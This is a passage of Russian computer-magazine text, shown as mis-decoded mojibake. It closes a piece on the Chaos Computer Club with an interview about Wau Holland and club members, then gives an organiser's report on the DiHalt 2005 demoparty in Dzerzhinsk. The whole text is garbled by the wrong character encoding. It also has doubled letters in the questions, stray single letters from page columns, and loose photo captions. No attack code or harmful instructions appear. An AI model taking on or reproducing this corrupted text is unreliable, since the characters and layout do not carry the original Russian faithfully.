êëþ÷èòü ñâîé êîìïüþòåð ê ëîêàëü-
íîé ñåòè, è ãäå öàðèò òà ñàìàÿ òóñ-
îâî÷íàÿ àòìîñôåðà.
20-ëåòíèé þáèëåé CCC, ó÷àñòíè-
êè êëóáà îòìåòèëè ñâåòîâûì øîó

Blinkenlights (www.blinkenlights.de) íà ñòåíå áåðëèíñêîãî çäàíèÿ Haus
des Lehrers. Çàïðîãðàììèðîâàâ ïîïåðåìåííîå ïåðåêëþ÷åíèå ñâåòà â
îêíàõ, õàêåðû âûâîäèëè ðàçíûå êàðòèíêè è àíèìàöèþ. Ìàòðèöà ðàç-
ìåðîì 18 íà 8 ïîçâîëÿëà äàæå äåìîíñòðèðîâàòü íåáîëüøèå ôèëüìû.
Øîó áûëî õîðîøî âèäíî èçäàëåêà, è ïðîåçæàþùèå èëè ïðîõîäÿùèå
ëþäè ìîãëè íå òîëüêî íàñëàäèòüñÿ çðåëèùåì, íî è ïîó÷àñòâîâàòü â
íåì. Ïîèãðàòü íà ñòåíå äîìà â ñòàðûé-äîáðûé Pong èëè ñ ìîáèëüíè-
êà, îòîñëàâ íà ñïåöèàëüíûé íîìåð òåêñò, êîòîðûé òðàíñëèðîâàëñÿ
ñêðîëëèíãîì íà ñòåíå çäàíèÿ.
Ïîìèìî Chaos Communication Congress êëóá Õàîñ ïðîâîäèò åæåãîä-
íûé Chaos Communication Camp � ëåòíèé ýâåíò, ÿâëÿþùèéñÿ, ïî
ñóòè, ïèêíèêîì äëÿ õàêåðîâ, ñ ïàëàòêàìè, øàøëûêàìè è õàêèíãîì
ïîä îòêðûòûì íåáîì. Ïðîõîäèò îí ïîî÷åðåäíî â Ãåðìàíèè è Íèäåð-
ëàíäàõ, è îòçûâû î êàæäîì òàêîì ñîáûòèè ó õàêåðîâ èñêëþ÷èòåëü-
íî ïîëîæèòåëüíûå

Chaos Communication Camp 2003

õàêåðû îòäûõàþò íà Chaos Congress

êëóáíàÿ êîìíàòà äëÿ ìåìáåðîâ Õàîñà

îôèöèàëüíûé ñàéò êëóáà

mindw0rk: ÀÀ êêîãî òòû ììîæåøü ââûäåëèòü èèç ììåìáåðîâ? ÏÏî
óðîâíþ ççíàíèé èèëè ââêëàäó ââ ððàçâèòèå êêëóáà.
Ì: Êîíå÷íî, ýòî Âó Õîëëàíä è Ñòåôôåí Âåðíåðè � îñíî-
âàòåëè êëóáà. Êðîìå íèõ: Vic, èíñïåêòèðîâàâøèé îðóæèå â
Èðàêå, íàø ãëàâíûé îðàòîð è ïðåññ-ñåêðåòàðü Ýíäè Ìþë-
ëåð-Ìàãóí, Òèì Ïðèòëàâ, îðãàíèçîâàâøèé ìíîæåñòâî
êëóáíûõ ýâåíòîâ, Haegar, êîòîðûé çàíèìàåòñÿ ïîääåðæ-
êîé áàçû äàííûõ î ìåìáåðàõ è âåäåò êó÷ó áóìàæíûõ äåë,
Padeluun � íàø ãëàâíûé çàùèòíèê áåçîïàñíîñòè. Èç ïðî-
øëîãî: Êàðë Êîõ è Òðîí � îáà àêòèâíî çàíèìàëèñü êîì-
ïüþòåðíûì âçëîìîì è ïîãèáëè ïðè íåðàñêðûòûõ îáñòîÿ-
òåëüñòâàõ. Òðîí áûë çàìåøàí âî âçëîìå ñìàðòêàðò è ñòàë
ïåðâûì, êîìó óäàëîñü õàêíóòü íåìåöêèå òàêñîôîíû ñ ïî-
ìîùüþ êëîíèðîâàíèÿ êàðò.
mindw0rk: ÐÐàññêàæè îî ÂÂó ÕÕîëëàíäå. ÍÍàñêîëüêî õõîðîøî òòû
åãî ççíàë, èè ÷÷òî ýýòî ááûë ççà ÷÷åëîâåê?
Ì: Ñ Âó ÿ âñòðå÷àëñÿ äîâîëüíî ÷àñòî, õîòÿ íå ìîãó ñåáÿ
îòíåñòè ê åãî áëèçêèì äðóçüÿì. Ìåíÿ âñåãäà ïîðàæàëà
êðåàòèâíîñòü åãî ìûøëåíèÿ. Âó áûë î÷åíü äðóæåëþá-
íûì, âåñåëûì, çíàë ìíîãî òåõíè÷åñêèõ ïîäðîáíîñòåé èç
ìèðà IT, íî, ÷òî ñàìîå ãëàâíîå, ëþáèë è óìåë ðàññêàçû-
âàòü çàáàâíûå èñòîðèè. Êîãäà îí íà÷èíàë ãîâîðèòü, âñå
âîêðóã çàòèõàëè, ïîòîìó ÷òî çíàëè � åãî ðàññêàç áóäåò
èíòåðåñíûì. Âó áûë îäíîé èç öåíòðàëüíûõ ôèãóð ñöåíû.

Âñå åãî çíàëè, è, òàê êàê ó íåãî âñåãäà èìåëèñü ñâåæèå
îðèãèíàëüíûå èäåè, ìíîãèå åãî ñ÷èòàëè ïðîâèäöåì IT.
Îí íàõîäèë õîðîøåå ðåøåíèå äëÿ ëþáûõ âîïðîñîâ. Ïî-
ñëåäíèìè åãî ïðîåêòàìè ïðè æèçíè áûëè îáó÷åíèå ñòó-
äåíòîâ ïîääåðæêå óíèâåðñèòåòñêèõ êîìïüþòåðîâ è ñî-
öèàëüíîìó õàêèíãó.
mindw0rk: ÂÂ ÷÷åì ÂÂó ááîëüøå ââñåãî ïïîâëèÿë ííà êêëóá?
M: Ýòîò ÷åëîâåê âåë çà ñîáîé êëóá ïî ïóòè õàêåðñêîé ýòè-
êè, êîòîðîé áûë ïðåäàí âñþ æèçíü. Áëàãîäàðÿ åìó, Õàîñ
ñòàë íå ïðîñòî î÷åðåäíûì êëóáîì, à ñîîáùåñòâîì ëþäåé,
óìåþùèõ äóìàòü íåñòàíäàðòíî. Ïîñëå åãî ñìåðòè â èþëå
2001 ã., êëóá ñîõðàíèë õîðîøóþ ðåïóòàöèþ. Íå ìîãó ñêà-
çàòü, èçìåíèëîñü ëè ÷òî-òî ñ óõîäîì Âó, íî íàì îäíîçíà÷-
íî åãî íå õâàòàåò.
mindw0rk: ÊÊàêèì òòû ââèäèøü ááóäóùåå êêëóáà ««Õàîñ»?
M: Íàøè õîðîøèå îòíîøåíèÿ ñ îáùåñòâîì è ïîëèòèêàìè
ìîãóò äàòü íàì áîëüøå âëèÿíèÿ. Â òî æå âðåìÿ ïðèäåòñÿ
áîëüøå äóìàòü îá îðãàíèçàöèè, òàê êàê óæå ñåé÷àñ òàê
ìíîãî ìåìáåðîâ ñ íåïîõîæèì ìûøëåíèåì. Îäíèì õî-
÷åòñÿ òåñíîãî àíäåãðàóíäà, äðóãèì � áîëüøîãî ïóáëè÷-
íîãî êîìüþíèòè, îäíè ëþáÿò ïðàâèòåëüñòâî, äðóãèå åãî
íåíàâèäÿò. Ñêîðåå âñåãî, êëóá ñî âðåìåíåì ñòàíåò ñêî-
ïëåíèåì áîëüøîãî êîëè÷åñòâà ðàçíûõ ãëóïï, îáúåäèíåí-
íûõ ïîä îäíèì ëåéáëîì. [X
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[Äåíü ïåðâûé] Íèæíèé Íîâãîðîä, 13 àâãóñòà.
Ïðîñíóëñÿ ÿ ðàíî � â 6:30 óòðà. Ïîãîäà îáåùà-
ëà áûòü òåïëîé, áåçîáëà÷íîé. Ïîäíÿâøèñü ñàì, ÿ
ñòàë ïîäíèìàòü EmP (Åêàòåðèíáóðã) è Vovanius
(Ìîñêâà), ïðèåõàâøèõ íàêàíóíå è íî÷åâàâøèõ ó
ìåíÿ. Ïîñëå äîëãèõ áåçóñïåøíûõ ïîïûòîê, ðàñ-
øåâåëèòü ñïÿùèå òåëà, ïðèøëîñü
âîîðóæèòüñÿ õîëîäíîé âîäîé. Çà-
ïàõ ñîñèñîê ñ ñûðîì è ïîìèäîðàìè
ñòàë óáåäèòåëüíûì àðãóìåíòîì.
Ïîáðîñàâ â áàãàæíèê ìàøèíû
ñâîè ðþêçàêè, ìû îòïðàâèëèñü çà
Scf, ïðèåõàâøèì èç Ñèìôåðîïîëÿ
åùå íåñêîëüêî äíåé íàçàä è îñòà-
íîâèâøèìñÿ ó ñâîèõ ðîäñòâåííè-
êîâ. Íóæíî áûëî òîðîïèòüñÿ, òàê

Ñ ÑÀÌÎÃÎ ÏÅÐÂÎÃÎ ÂÛÏÓÑÊÀ «ÑÖÅÍÛ», 
ß ÑÒÀÐÀËÑß ÐÀÑÑÊÀÇÀÒÜ ÒÅÁÅ ÏÐÎ ÑÀÌÛÅ
ÊÐÓÏÍÛÅ È ÈÇÂÅÑÒÍÛÅ ÊÎÌÏÜÞÒÅÐÍÛÅ 
ÒÓÑÎÂÊÈ. DEFCON, ASSEMBLY, DREAMHACK... 
ÍÀ ÝÒÈ ÏÀÒÈ ÑÚÅÇÆÀÞÒÑß ÄÅÑßÒÊÈ ÒÛÑß×
ËÞÄÅÉ, È ÊÀÆÄÀß ÈÇ ÍÈÕ ßÂËßÅÒÑß ÌÈÐÎ-
ÂÛÌ ÑÎÁÛÒÈÅÌ. ÍÎ, ÍÀÐßÄÓ Ñ ÊÐÓÏÍÛÌÈ
ÊÎÍÔÅÐÅÍÖÈßÌÈ, ÑÓÙÅÑÒÂÓÞÒ ÂÑÒÐÅ×È
ÌÅÍÜØÅÃÎ ÌÀÑØÒÀÁÀ. Î ÍÈÕ ÇÍÀÞÒ ÍÅÌ-
ÍÎÃÈÅ, ÍÎ ÝÒÎ ÍÅ ÌÅØÀÅÒ ÏÎÑÅÒÈÒÅËßÌ
ÂÅÑÅËÎ ÏÎÒÓÑÈÒÜ È ÏÎËÓ×ÈÒÜ ÑÂÎÞ 
ÄÎËÞ ÔÀÍÀ. ÍÀ ÝÒÎÒ ÐÀÇ ÐÀÑÑÊÀÇ ÁÓÄÅÒ
ÈÌÅÍÍÎ Î ÒÀÊÎÉ ÏÀÒÈ, ÏÐÎØÅÄØÅÉ 
13 ÀÂÃÓÑÒÀ Â ÃÎÐÎÄÅ ÄÇÅÐÆÈÍÑÊÅ 
È ÍÎÑßÙÅÉ ÈÌß DIHALT. Î ÒÎÌ, ÊÀÊ ÂÑÅ
ÏÐÎØËÎ, ÐÀÑÑÊÀÆÅÒ ÃËÀÂÍÛÉ ÎÐÃÀÍÈÇÀ-
ÒÎÐ VINNNY | Âëàä Âèíîãðàäîâ (vinnny@aport.ru)        

Þ
Í

È
Ò

Û
Ê

Ð
Å

À
Ò

È
Ô

Ô
Ê

Î
Ä

È
Í

Ã
U

N
IX

O
ID

Ñ
Ö

Å
Í

À
Â

Ç
Ë

Î
Ì

È
Ì

Ï
Ë

À
Í

Ò
P

C
_

Z
O

N
E

Í
Ü

Þ
Ñ

Û

DiHalt ããëàçàìè
îðãàíèçàòîðà
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Ìàëåíüêàÿ äåìîïàòè â
áîëüøîì Íîâãîðîäå 

êàê ê 8 óòðà â Äçåðæèíñêå íà æåëåçíîäîðîæíîì âîêçàëå íàñ æäàëè ïðè-
áûâøèå Simon & Alff èç íåáåçûçâåñòíîé ãðóïïû CPU, à òàêæå 4afc èç Ïè-
òåðà. Ýòî íå ïðîñòî ïîìîùü ïðèåçæèì â íåçíàêîìûé ãîðîä, à óæå òðà-
äèöèÿ � ñîáèðàòüñÿ íà âîêçàëå è îðãàíèçîâàííûìè êó÷êàìè äîáèðàòü-
ñÿ äî ìåñòà ïðîâåäåíèÿ ôåñòèâàëÿ. Â ýòîì ãîäó DiHalt äîëæåí áûë ïðî-
õîäèòü â ïîìåùåíèè êèíîòåàòðà «Ñïóòíèê».
Âñþ ïîñëåäíþþ íåäåëþ ìû ãîòîâèëèñü ê ïðîâåäåíèþ äåìîïàòè. Äîãîâà-
ðèâàëèñü ñ àäìèíèñòðàöèåé êèíîòåàòðà, ðàñïðåäåëÿëè ðîëè, èñêàëè
íåîáõîäèìîå îáîðóäîâàíèå, ïðîäóìûâàëè çàïàñíûå âàðèàíòû íà ñëó-
÷àé, åñëè ÷òî-òî ïîéäåò íå òàê. Â èòîãå ìû ñîáðàëè íåñêîëüêî êîìïüþ-
òåðîâ: äâà PC, Amiga600, Amiga1200, Pegasos2 è Pentagon128. Íà âñÿ-
êèé ñëó÷àé, ïîä ðóêîé èìåëèñü ýìóëÿòîðû. Ðàáîòà ïî îðãàíèçàöèè DiHalt
êèïåëà êàæäûé äåíü äî ñàìîãî îòêðûòèÿ.
Èòàê, äîñòàâèâ íàðîä ê êèíîòåàòðó, ìû åùå ðàç ïðîâåðèëè âñå îáîðóäî-
âàíèå è ïîòèõîíüêó íà÷èíàëè ðåãèñòðèðîâàòü ãîñòåé. Íà îôèöèàëüíîì
ñàéòå äåìîïàòè â ðåãèñòðàöèîííîì ðàçäåëå îòìåòèëîñü ìíîãî ëþäåé,
íî ïðèåõàëè äàëåêî íå âñå. Òàì ñðåäè ïîñåòèòåëåé ìîæíî áûëî íàéòè
ñöåíåðîâ èç ðàçíûõ ðåãèîíîâ Ðîññèè è Óêðàèíû. Âñåãî îêîëî 50 ÷åëî-
âåê, òàê ÷òî DiHalt áîëüøå ïîõîäèë íà ëîêàëüíîå ïàòè. Ïðèìåðíî ñòîëü-
êî æå áûëî è êîíêóðñíûõ ðàáîò.
Ïóáëèêà ïðîõîäèëà â çàë, ðàññàæèâàëàñü ïî ìåñòàì è ïîïàäàëà â ìèð
äåìîñöåíû. Íåñìîòðÿ íà òî, ÷òî ìû îòáèëèñü îò ãðàôèêà íà 20 ìèíóò,
ïóáëèêà â çàëå íå ñêó÷àëà � íà áîëüøîì ýêðàíå êèíîòåàòðà êðóòèëè ïî
î÷åðåäè ëó÷øèå äåìêè ïðîøëûõ ëåò.
Ïîñëå âñòóïèòåëüíûõ ñëîâ îðãàíèçàòîðà, DiHalt áûë îôèöèàëüíî
îáúÿâëåí îòêðûòûì, è ïðàêòè÷åñêè ñðàçó íà÷àëàñü äåìîíñòðàöèÿ ðà-
áîò ïåðâîãî êîíêóðñà � ZX-Spectrum ãðàôèêà. Èç ïîêàçàííîãî ìíå
ïîíðàâèëîñü èçîáðàæåíèå ëèöà äåâóøêè, ñòîÿùåé ãäå-òî íà ïóñòûí-
íîì îòêîñå íà ôîíå ìàÿêà. Êàê áûâøåìó ñïåêòðóìèñòó, ìíå ïîíÿòíà
ñëîæíîñòü ðèñîâàíèÿ íà Ñïåêòðóìå � âñåãî îäíî ãðàôè÷åñêîå ðàç-
ðåøåíèå è ñåðüåçíûå îãðàíè÷åíèÿ ñ ïàëèòðîé. Ïîýòîìó ìûñëåííî
àïëîäèðîâàë àâòîðó çà åãî òåðïåíèå.
Äàëåå áûë êîíêóðñ ìíîãîêàíàëüíîé òðàäèöèîííîé ìóçûêè íà
PC/Amiga. Èç ìàññû ðàáîò âûäåëÿëèñü äâå. Ïåðâàÿ áûëà íàïèñà-
íà â ñïîêîéíîì ñòèëå, òèïà ýòíè÷åñêîé áàëëàäû, âî âòîðîé óçíà-
âàëñÿ ðåìèêñ òðåêà èç èçâåñòíîé äåìêè Lyra. Ïîñëå ìóçûêàëüíî-
ãî êîìïî äîëæíî áûëî ïðîéòè ZX-intro, íî ðàáîò íèêòî íå ïðåäî-
ñòàâèë, è áûëî ðåøåíî ïðîâåñòè êîíêóðñ íà ñâåæåì âîçäóõå. À
èìåííî � ìåòàíèå æåñòêèõ äèñêîâ. Â äâóõ øàãàõ îò êèíîòåàòðà
íàõîäèëñÿ ñòàäèîí, è ñöåíåðû, ðàçîáðàâ ñïåöèàëüíî ïðèãîòî-
âëåííûå äëÿ íèõ âèí÷åñòåðû, íàïðàâèëèñü ê ìåñòó ïðîâåäåíèÿ.
Çàáàâíî áûëî íàáëþäàòü, êàê ïðè âûáîðå HDD îäíè èñêàëè ïîòÿ-
æåëåå, äðóãèå � ïîëåã÷å, õîòÿ âñå îíè áûëè îäèíàêîâûìè. Æå-
ëàþùèõ ïîó÷àñòâîâàòü íàáðàëîñü íåìíîãî � îêîëî 25 ÷åëîâåê,
îñòàëüíûå âèäèìî îòîøëè ïåðåêóñèòü.
Ïîñëå çàïóñêà âèí÷åé â íåáî, ñðàçó ñòàëî î÷åâèäíî, êòî ïîáåäèë. Ðåáÿò
íàãðàäèëè ïàêåòàìè ïîäêëþ÷åíèÿ ê ñîòîâîé ñåòè îò Tele2 è ïðèçàìè îò
Coca-Cola. Îäèí ÷óâàê
óìóäðèëñÿ ñ ìåñòà ìåò-
íóòü æåñòêèé äèñê íà
35 ìåòðîâ. Åñëè òåáÿ
ýòî íå âïå÷àòëÿåò �
âûíü èç êîìïà ñâîé
âèíò è ïîïðîáóé ñàì.
Óçíàâ, ÷òî îí ñòàë ïîáå-
äèòåëåì, ìåòàòåëü äè-
ñêîâ ðåøèë ïåðåïëþ-
íóòü ñàìîãî ñåáÿ, à
òàê êàê âèí÷åé ðÿäîì
íå îêàçàëîñü, äîñòàë
ìîáèëüíèê è ñ ðàçìà-
õà øâûðíóë â íåáî.
Òåëåôîí ïðîëåòåë, íà-
âåðíîå, ìåòðîâ 50 è
ïîñëå ïðèçåìëåíèÿ ðà-
ñêîëîëñÿ íà 3 ÷àñòè.
Óäèâèòåëüíî, íî êîãäà

ïëàêàò ñ ïðèãëàøåíèåì íà ïàòè

îðãàíèçàòîðû çà ðàáîòîé

íàñòðîéêà æåëåçà

098



åãî ñîáðàëè � ðàáîòàë îí êàê íîâåíüêèé. Âîò âàì è Motorola.
Ïîñëå êîíêóðñà äèñêîìåòàòåëåé è ñûòíîãî îáåäà, îð-
ãàíèçàòîðû ïðîäîëæàëè ðàçîãðåâàòü ïóáëèêó, ïîêàçû-
âàÿ ëó÷øèå äåìêè ïðîøëûõ ëåò. ×åðåç íåñêîëüêî ìè-
íóò íà÷àëñÿ êîíêóðñ Freestyle Graphics (ñâîáîäíàÿ
ãðàôèêà). Íà ìîé âçãëÿä, ýòî ñàìûé ïðîñòîé ãðàôè÷å-
ñêèé êîíêóðñ. Âçÿë êóñîê îò îäíîé ôîòîãðàôèè, ïðè-
êëåèë ê íåìó êóñîê îò äðóãîé, ãäå íàäî � ïðîôèëüòðî-
âàë, çàáëþðèë � ãîòîâî! Íåñìîòðÿ íà êàæóùóþñÿ ïðî-
ñòîòó, ðàáîò áûëî ïðåäñòàâëåíî íåìíîãî, à òå, ÷òî áû-
ëè, îðèãèíàëüíîñòüþ íå îòëè÷àëèñü. Ïåðâîå ìåñòî çà-
íÿëà ôîòêà êàêîãî-òî ÷åëà, ÷åì-òî ïîõîæåãî íà ìàðñè-
àíèíà, è åäâà îáðàáîòàííàÿ â ôîòîøîïå. Ïðîêðóòèâ
åùå íåñêîëüêî äåìîê, ìû çàïóñòèëè êîíêóðñ Wild/Ani-
mation. Íà íåãî ìîæíî âûñòàâëÿòü ëþáûå ðàáîòû, íå
ïîäõîäÿùèå ïî òðåáîâàíèÿì ê äðóãèì îáúÿâëåííûì
êîíêóðñàì. Íàèáîëüøåé ïîïóëÿðíîñòüþ çäåñü ïîëüçó-
þòñÿ ðàçëè÷íûå âèäåîðîëèêè. Îáû÷íî ñöåíåðñêèå âè-
äåîñþæåòû äåëÿòñÿ íà äâà îñíîâíûõ íàïðàâëåíèÿ �
ñìåøíûå è äåïðåññèâíûå. Òàê áûëî è â ýòîò ðàç. Ñà-
ìûìè èíòåðåñíûìè îêàçàëèñü «Äåïðåñíÿê» îò
KernHerbst, ïî îôîðìëåíèþ íàïîìèíàþùèé òðèëëåðû
Çâîíîê1&2, è çàáàâíûå âèäåî-ðîëèêè îò Eye-Q & K^2,
îäèí èç êîòîðûõ áûë î÷åíü ïîõîæ íà èçâåñòíîå îáðà-
ùåíèå Æèðèíîâñêîãî ê Áóøó. Òàêæå áûëà èíòåðåñíàÿ,
íî êîðîòêàÿ àíèìàöèÿ îò ãðóïïû CPU � ñâîåîáðàçíûå
âîñïîìèíàíèÿ î øêîëüíîé æèçíè. Íà ýêðàíå � êîðèäîð, øêîëü-
íûé êëàññ, ïàðêåò, îáøàðïàííûå ñòåíû� è ïî÷åìó-òî ïîëóìðàê.
Äàëåå ïðîøëî åùå îäíî fun-compo ïîä íàçâàíèåì Coca-Cola drink!
Øåñòü æåëàþùèõ ïîäíÿëèñü íà ñöåíó äëÿ òîãî, ÷òîáû íà âðåìÿ âû-
ïèòü ëèòðîâóþ áóòûëêó Êîëû. Ïîáåäèòåëþ ïîíàäîáèëîñü îêîëî 3-õ
ìèíóò, ÷òîáû îñóøèòü òàðó. Ïîñëå ýòîãî êîíêóðñà äîëãîå âðåìÿ ïî
âñåìó çàëó äîíîñèëèñü çâóêè, ïðîøó ïðîùåíèÿ, îòðûæêè. Ïîñëå íå-
áîëüøîãî ïåðåðûâà íà÷àëñÿ êîíêóðñ AY-ìóçûêè íà Ñïåêòðóìå. Ñî-
âðåìåííûì ìóçûêàíòàì òðåõêàíàëüíàÿ ìóçûêà ñ ñèíòåçèðîâàííûìè

ñýìïëàìè ïîêàæåòñÿ ïèñêëÿâîé è ïðîòèâíîé. Íî ëåò 10 íàçàä, êîãäà
íà PC åùå íå ïîÿâèëñÿ Covox è GUS, âñå îò ýòîãî áàëäåëè è ñ÷èòà-
ëè ÷óòü ëè íå íàèâûñøèì ïðîãðåññîì. Íåäàâíî íà ñïåêòðóìå ïîÿâè-
ëàñü äâóõïðîöåññîðíàÿ ìóçûêàëüíàÿ êàðòà TurboSound, ñäåëàâøàÿ
çâóê 6-êàíàëüíûì, íî ïî-ïðåæíåìó, ñ ñèíòåçèðîâàííûìè ñýìïëàìè.
Âåðíåìñÿ ê êîíêóðñó. Áûëî âñåãî 2 ìóçûêàëüíûõ ìîäóëÿ, ïîýòîìó ÿ
ðåøèë îñòàòüñÿ èõ ïðîñëóøàòü, õîòÿ îáû÷íî ìóçûêàëüíûå êîìïî èã-
íîðèðóþ. Â îáùåì-òî ðàáîòàìè îñòàëñÿ äîâîëåí � îáà ìîäóëÿ îêà-
çàëèñü äîâîëüíî äèíàìè÷íûìè è îðèãèíàëüíûìè. Â çàâåðøåíèè äíÿ

êîëëåêòèâíîå ôîòî ãîñòåé

îáùåíèå ñöåíåðîâ

ó÷àñòíèêè è îðãàíèçàòîðû Dihalt 2005

îòêðûòèå DiHalt 2005. Íà ñöåíå ãëàâíûé îðãàíèçàòîð Vinny [X
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ñîñòîÿëîñü ZX Demo compo, íà
êîòîðîå áûëà âûñòàâëåíà âñåãî
îäíà ðàáîòà îò CPU. Îíà ÷åì-òî
íàïîìíèëà ìíå èõ æå äåìêó, âû-
ñòàâëåííóþ äâóìÿ íåäåëÿìè ðà-
íåå íà ôèíñêîé Assembly. Òîò æå
äâèæîê, òå æå ýôôåêòû. Îçâó÷êà
äåìû áûëà ñòðàííîé: â äâóõ êà-
íàëàõ çâó÷àë êàêîé-òî ìóñîð, â
òðåòüåì � áóìêàëè óäàðíûå. Íî
àâòîðû çàâåðèëè, ÷òî òàê è äîë-
æíî áûòü. Ïåðâûé äåíü ïàòè, íà-
êîíåö, çàêîí÷èëñÿ. Óñòàâøèé, íî

äîâîëüíûé, íàðîä ñòàë ïîòèõîíüêó ðàñõîäèòüñÿ. ß âìåñòå ñ 4afc, Vo-
vanius, Scf è EmP ïîåõàë íî÷åâàòü äîìîé â Íèæíèé Íîâãîðîä. Íà-
øëèñü è òå, êòî õîòåë ïðîäîëæåíèÿ øîó, � îíè îòïðàâèëèñü êóïàòü-
ñÿ è îòäûõàòü (ïüÿíñòâîâàòü) íà Ñâÿòîå Îçåðî.

[Äåíü âòîðîé] Óòðî 14 àâãóñòà. Ñâåòèò ñîëíûøêî, ïîãîäà îïÿòü íå
ïîäâîäèò. Êîãäà ìû äîáðàëèñü äî êèíîòåàòðà, òàì óæå òîëïèëñÿ,
çíàêîìûé ïî ïåðâîìó äíþ, íàðîä. Íåêîòîðûå áûëè ñ ïîìÿòûìè ëè-
öàìè ïîñëå â÷åðàøíåãî âåñåëüÿ :-). Îñòàâèâ ñöåíåðîâ îáñóæäàòü
â÷åðàøíåå, ÿ ïðîøåë â çàë è âìåñòå ñ äðóãèìè îðãàíèçàòîðàìè ïðî-
âåðèë îáîðóäîâàíèå. Çà ïðîøåäøóþ íî÷ü ìû ïîëó÷èëè åùå îäíó
êîíêóðñíóþ ðàáîòó íà CD. Âèäèìî, ìåíòàëèòåò ó íàñ òàêîé � âñå äå-
ëàòü â ïîñëåäíèé äåíü :-). 
Äâåðè îòêðûëèñü, ëþäè ñòàëè ðàññàæèâàòüñÿ ïî ìåñòàì. Ïîäâåäÿ
èòîãè ïåðâîãî äíÿ è ïðîêðóòèâ åùå íåñêîëüêî èçâåñòíûõ äåìîê, ìû
íà÷àëè êîíêóðñ Amiga/PC Render Graphics. Ìíå ïîíðàâèëîñü èçîáðà-
æåíèå Ôîðìóëû-1, äîâîëüíî êà÷åñòâåííî ñäåëàíî. Õîòÿ ê ìîåìó
óäèâëåíèþ, ïåðâîå ìåñòî çàíÿëà êàðòèíêà «Óòðî ñëåäóþùåãî äíÿ», ñ
ïóñòûìè áóòûëêàìè è áàíêîé èç ïîä øïðîò íà ôîíå êóõíè. Î÷åâèäíî,
òåìà ãîëîñîâàâøèì áëèçêà.
Â ñëåäóþùåì êîíêóðñå ìíîãîêàíàëüíîé àëüòåðíàòèâíîé ìóçûêè, ìíå
òîëêîì íè÷åãî íå ïîíðàâèëîñü, õîòÿ, ïðèçíàþñü, â ýòîì ìóçûêàëüíîì
íàïðàâëåíèè ÿ íè÷åãî íå ïîíèìàþ.
Ïîñëå óñïåõà hdd-throwing compo, ìû ðåøèëè åãî ïîâòîðèòü, íî òå-
ïåðü ñ ðàçáåãà. ×åìïèîíîì îêàçàëñÿ âñå òîò æå ïàðíèøêà (Proch),

óâåëè÷èâøèé ñîáñòâåííûé ðåêîðä íà 5 ìåòðîâ. À óçíàâ î ïîáåäå,
îïÿòü øâûðíóë â íåáî ñâîé ìíîãîñòðàäàëüíûé ìîáèëüíèê. Ñèìâîëè-
÷åñêèì ïðèçîì áûë íàãðàæäåí è ñàìûé ñëàáûé ó÷àñòíèê, êîòîðûì
îêàçàëàñü ìèëàÿ äåâóøêà ñ íèêîì Izvra.
Êîãäà çàêîí÷èëñÿ ïåðåðûâ íà îáåä, íàñòàëî âðåìÿ MP3/OGG-ìóçû-
êè. Äîâîëüíî íàñûùåííûé êîíêóðñ, õîòÿ áîëüøóþ ÷àñòü ðàáîò ÿ
ïðîïóñòèë èç-çà îáùåíèÿ ñ ïðèåõàâøèìè òåëåâèçèîíùèêàìè. Ïåð-
âîå ìåñòî ïî ïðàâó çàíÿëà ðèòìè÷íàÿ êîìïîçèöèÿ îò ìåñòíîãî äè-
äæåÿ DJ Poster. Åùå çàïîìíèëñÿ òðåê êàçàíñêèõ ñöåíåðîâ, çàïèñàâ-
øèõ åãî, èñïîëüçóÿ ëèøü ñâîè ãîëîñà, çâóêè ðóê, ãóá, ìèêðîôîíà è
ïðî÷åãî, áåç ó÷àñòèÿ ðåàëüíûõ ìóçûêàëüíûõ èíñòðóìåíòîâ. ×òîáû
íàðîä íå ñêó÷àë, íà áîëüøîì ýêðàíå âñå âðåìÿ ïîêàçûâàëè êàðòèí-
êè èçâåñòíûõ ñöåíîâûõ õóäîæíèêîâ.
Êîãäà â î÷åðåäíîé ðàç, ïðîõîäÿ ìèìî îõðàííèêà íà âõîäå, ÿ óâè-
äåë, êàê îí ðèñóåò ôëîìàñòåðîì íà áóìàãå, ó ìåíÿ â ãîëîâå ïîÿâè-
ëàñü èäåÿ ðèàëòàéìîâîãî êîíêóðñà õóäîæíèêîâ. Òåì áîëåå, íà
ýêðàíå â ýòî âðåìÿ ïîêàçûâàëè Handdraw Graphics compo, èëè, êàê
åãî íàçûâàþò, Pixel Art. Âûçâàâ íà ñöåíó ÷åòâåðûõ ñìåëü÷àêîâ, ìû
âîîðóæèëè èõ âñåì íåîáõîäèìûì, ïðåäîñòàâèëè ïðîèçâîëüíóþ òå-
ìó äëÿ òâîð÷åñòâà è âûäåëèëè 20 ìèíóò. Ïî èñòå÷åíèè ýòîãî âðå-
ìåíè, íà ýêðàíå ïðîäåìîíñòðèðîâàëè ðåçóëüòàòû. Êòî-òî ïðîèë-
ëþñòðèðîâàë ñâîè íî÷íûå ïðèêëþ÷åíèÿ â Äçåðæèíñêå, êòî-òî ýêñ-
ïåðèìåíòèðîâàë íà òåìó DiHALT 2005. Ñ íåáîëüøèì îòðûâîì ïîáåäè-
ëà ðàáîòà ñ èçîáðàæåíèåì áàðàøêà, à ëè÷íî ìíå ïîíðàâèëàñü
êàðòèíà ñ äâóìÿ âëþáëåííûìè íà âåðøèíå ãîðû. Ó êàæäîãî èç íèõ
áûëî âñåãî ïî îäíîìó êðûëó çà ñïèíîé, ñèìâîëèçèðóÿ òåì ñàìûì
íåðàçðûâíîñòü ÷óâñòâ.
Ê âå÷åðó ïðîøëî åùå äâà êîíêóðñà: Chip Tunes è ASCII ãðàôèêà, â êàæ-
äîì áûëî ïî îäíîé ðàáîòå. Æàëü. Íà äåñåðò îñòàâàëñÿ ñàìîå ñëîæíîå
è îæèäàåìîå êîìïî � Amiga/PC demo. È îïÿòü æå â íàëè÷èè áûëà òîëü-
êî îäíà ðàáîòà íà Amiga, ïðè÷åì íàïèñàííàÿ íà áåéñèêå! À ÿ òî äóìàë,
÷òî âðåìåíà áåéñèêà óæå äàâíî ïðîøëè�
Çàêðûòèå DiHalt çíàìåíîâàëîñü íàãðàæäåíèåì ïîáåäèòåëåé è âðó÷åíè-
åì äèïëîìîâ, ïðèçîâ è äåíåæíûõ ïðåìèé.
Â öåëîì, íà ìîé âçãëÿä, ïàòè ïðîøëî äîâîëüíî óñïåøíî è ãëàäêî, íå
ñ÷èòàÿ ìåëêèõ íàêëàäîê (êàê æå áåç íèõ?). Êîíå÷íî, õîòåëîñü áû â ñëå-
äóþùåì ãîäó è ïîñåòèòåëåé, è ðàáîò åùå áîëüøå. È íàäåþñü, ÷òî DiHalt
2006 òîæå íèêîãî íå ðàçî÷àðóåò 

êîíêóðñ íà ñêîðîñòíîå âûïèâàíèå

